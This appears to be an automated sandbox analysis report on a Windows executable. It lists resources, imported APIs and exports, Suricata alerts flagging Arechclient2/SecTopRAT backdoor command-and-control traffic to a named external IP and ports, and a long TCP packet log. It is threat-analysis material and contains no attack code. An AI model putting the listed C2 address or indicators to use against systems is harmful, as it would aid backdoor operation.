RT_ICON	0xcb708	0xb1b4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004616196254286
RT_ICON	0xd68bc	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 147456, resolution 2835 x 2835 px/m	English	United States	0.24354389102193236
RT_ICON	0xfbae4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m	English	United States	0.30131314326274694
RT_ICON	0x10c30c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 2835 x 2835 px/m	English	United States	0.34824994744586923
RT_ICON	0x1157b4	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 25600, resolution 2835 x 2835 px/m	English	United States	0.38402255639097743
RT_ICON	0x11bf9c	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 2835 x 2835 px/m	English	United States	0.402634011090573
RT_ICON	0x121424	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m	English	United States	0.43180207841284834
RT_ICON	0x12564c	0x3a48	Device independent bitmap graphic, 60 x 120 x 32, image size 14400, resolution 2835 x 2835 px/m	English	United States	0.45154155495978554
RT_ICON	0x129094	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	English	United States	0.49470954356846475
RT_ICON	0x12b63c	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6400, resolution 2835 x 2835 px/m	English	United States	0.5338757396449704
RT_ICON	0x12d0a4	0x1588	Device independent bitmap graphic, 36 x 72 x 32, image size 5184, resolution 2835 x 2835 px/m	English	United States	0.5469883889695211
RT_ICON	0x12e62c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	English	United States	0.5956848030018762
RT_ICON	0x12f6d4	0xeb0	Device independent bitmap graphic, 30 x 60 x 32, image size 3600, resolution 2835 x 2835 px/m	English	United States	0.6215425531914893
RT_ICON	0x130584	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 2835 x 2835 px/m	English	United States	0.6754098360655738
RT_ICON	0x130f0c	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1600, resolution 2835 x 2835 px/m	English	United States	0.7168604651162791
RT_ICON	0x1315c4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	English	United States	0.7819148936170213
RT_STRING	0x131a2c	0x3f8	data			0.3198818897637795
RT_STRING	0x131e24	0x2dc	data			0.36475409836065575
RT_STRING	0x132100	0x430	data			0.40578358208955223
RT_STRING	0x132530	0x44c	data			0.38636363636363635
RT_STRING	0x13297c	0x2d4	data			0.39226519337016574
RT_STRING	0x132c50	0xb8	data			0.6467391304347826
RT_STRING	0x132d08	0x9c	data			0.6410256410256411
RT_STRING	0x132da4	0x374	data			0.4230769230769231
RT_STRING	0x133118	0x398	data			0.3358695652173913
RT_STRING	0x1334b0	0x368	data			0.3795871559633027
RT_STRING	0x133818	0x2a4	data			0.4275147928994083
RT_RCDATA	0x133abc	0x10	data			1.5
RT_RCDATA	0x133acc	0x310	data			0.6173469387755102
RT_RCDATA	0x133ddc	0x2c	data			1.1818181818181819
RT_GROUP_ICON	0x133e08	0xe6	GLS_BINARY_LSB_FIRST	English	United States	0.6739130434782609
RT_VERSION	0x133ef0	0x584	data	English	United States	0.2754957507082153
RT_MANIFEST	0x134474	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x40fc10
dbkFCallWrapperAddr	1	0x4b063c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T10:05:52.148906+0100	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.7	49887	45.141.84.168	15647	TCP
2024-11-28T10:05:53.330123+0100	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	45.141.84.168	15647	192.168.2.7	49887	TCP
2024-11-28T10:05:57.247711+0100	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.7	49896	45.141.84.168	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 10:04:25.950993061 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:25.951037884 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:25.951102972 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:25.951442957 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:25.951458931 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:27.802846909 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:27.802973986 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:27.808392048 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:27.808407068 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:27.808619976 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:27.817421913 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:27.863329887 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.299278021 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.299305916 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.299324989 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.299421072 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.299438953 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.299473047 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.299504995 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.382724047 CET	49674	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:04:28.382811069 CET	49675	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:04:28.494795084 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.494813919 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.494950056 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.494968891 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.495038033 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.507708073 CET	49672	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:04:28.578963995 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.578979969 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.579133987 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.579147100 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.579204082 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.688047886 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.688065052 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.688183069 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.688196898 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.688242912 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.721259117 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.721283913 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.721374989 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.721398115 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.721436977 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.739583969 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.739598989 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.739710093 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.739722013 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.739767075 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.760992050 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.761008978 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.761066914 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.761075020 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.761105061 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.891206026 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.891223907 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.891335964 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.891351938 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.891405106 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.906976938 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.906992912 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.907093048 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.907103062 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.907145977 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.920629025 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.920644045 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.920703888 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.920712948 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.920744896 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.936233044 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.936248064 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.936310053 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.936320066 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.936358929 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.951998949 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.952017069 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.952089071 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.952099085 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.952136993 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.966605902 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.966622114 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.966674089 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.966686010 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.966718912 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.971163034 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.971225977 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.971227884 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.971271992 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.971815109 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.971832991 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:28.971842051 CET	49704	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:28.971848965 CET	443	49704	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.013441086 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.013500929 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.013593912 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.014659882 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.014697075 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.014748096 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.015010118 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.015028000 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.015824080 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.015836000 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.015883923 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.015988111 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.016000986 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.016446114 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.016458988 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.017220020 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.017314911 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.017364979 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.017980099 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.018007040 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.018022060 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.018038034 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.018058062 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.018167973 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:29.018182039 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:29.101483107 CET	49671	443	192.168.2.7	204.79.197.203
Nov 28, 2024 10:04:30.257745981 CET	49677	443	192.168.2.7	20.50.201.200
Nov 28, 2024 10:04:30.798104048 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.798664093 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.798676014 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.799249887 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.799254894 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.801510096 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.801857948 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.801882029 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.802331924 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.802335978 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.860233068 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.860362053 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.860748053 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.860763073 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.861341000 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.861418009 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.861907005 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.861922026 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.862092972 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.862107038 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.867460966 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.867909908 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.867925882 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:30.868618965 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:30.868629932 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.242697001 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.242758036 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.242826939 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.243129015 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.243144989 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.243160009 CET	49709	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.243165016 CET	443	49709	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.246325016 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.246380091 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.246486902 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.246675968 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.246690989 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.250400066 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.250418901 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.250473022 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.250487089 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.250664949 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.250677109 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.250684977 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.250828028 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.250859976 CET	443	49708	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.252625942 CET	49708	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.253048897 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.253078938 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.254471064 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.254641056 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.254657030 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.313772917 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.313839912 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.313899040 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.314260960 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.314285040 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.314296961 CET	49706	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.314304113 CET	443	49706	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.318309069 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.318412066 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.318492889 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.318747997 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.318769932 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.318928957 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.318981886 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.319030046 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.319044113 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.319084883 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.319139004 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.319144964 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.319161892 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.319545984 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.319626093 CET	443	49707	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.319685936 CET	49707	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.320570946 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.320594072 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.320648909 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.320663929 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.320712090 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.320924997 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.320931911 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.320951939 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.321079016 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.321105003 CET	443	49705	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.321139097 CET	49705	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.321367025 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.321394920 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.321456909 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.321577072 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.321589947 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.324418068 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.324443102 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:31.324497938 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.324992895 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:31.325014114 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:32.925476074 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:32.976464987 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.015144110 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.015155077 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.015770912 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.015774965 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.035890102 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.040776968 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.053464890 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.053483963 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.085840940 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.092366934 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.092381001 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.095498085 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.098332882 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.132893085 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.132952929 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.148358107 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.155183077 CET	49710	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.155201912 CET	443	49710	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.248471022 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.248487949 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.252310991 CET	49711	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.252322912 CET	443	49711	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.255945921 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.255958080 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.267772913 CET	49712	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.267781973 CET	443	49712	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.370362043 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.370513916 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.370583057 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.370841980 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.370858908 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.370868921 CET	49714	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.370873928 CET	443	49714	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.373606920 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.373655081 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.373718023 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.374578953 CET	49715	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.374592066 CET	443	49715	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.473630905 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.473690987 CET	443	49713	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:33.473790884 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.474095106 CET	49713	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:33.474095106 CET	49713	443	192.168.2.7	13.107.246.63
